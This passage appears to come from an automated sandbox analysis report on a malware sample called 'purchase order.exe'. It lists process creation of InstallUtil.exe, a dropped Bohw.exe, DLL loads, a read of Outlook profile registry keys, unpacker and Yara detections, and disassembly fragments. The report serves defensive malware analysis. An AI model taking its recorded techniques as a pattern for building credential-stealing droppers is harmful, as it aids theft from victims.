Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\purchase order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\purchase order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\purchase order.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: purchase order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: purchase order.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: purchase order.exe, 00000000.00000002.2588851918.00000000062D0000.00000004.08000000.00040000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000003028000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003DB1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.0000000003537000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003D8F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002F67000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: purchase order.exe, 00000000.00000002.2588851918.00000000062D0000.00000004.08000000.00040000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000003028000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003DB1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.0000000003537000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003D8F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002F67000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.purchase order.exe.6240000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.purchase order.exe.6240000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.purchase order.exe.6240000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.purchase order.exe.6240000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.purchase order.exe.6240000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.purchase order.exe.46ead58.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.purchase order.exe.46ead58.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.purchase order.exe.46ead58.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.purchase order.exe.46ead58.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.purchase order.exe.46ead58.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 6.2.Bohw.exe.45a62f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.61e0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.49d62f8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.46162f8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.purchase order.exe.445a318.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2815939697.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2588359286.00000000061E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2896822556.00000000045A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR

Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CB12C0 pushfd ; retf 05BDh	0_2_05CB2225
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD954F push eax; ret	0_2_05CD9550
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2CE9 push edx; retf 0005h	0_2_05CF2CEA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF2C9F push ecx; retf 0005h	0_2_05CF2CA2
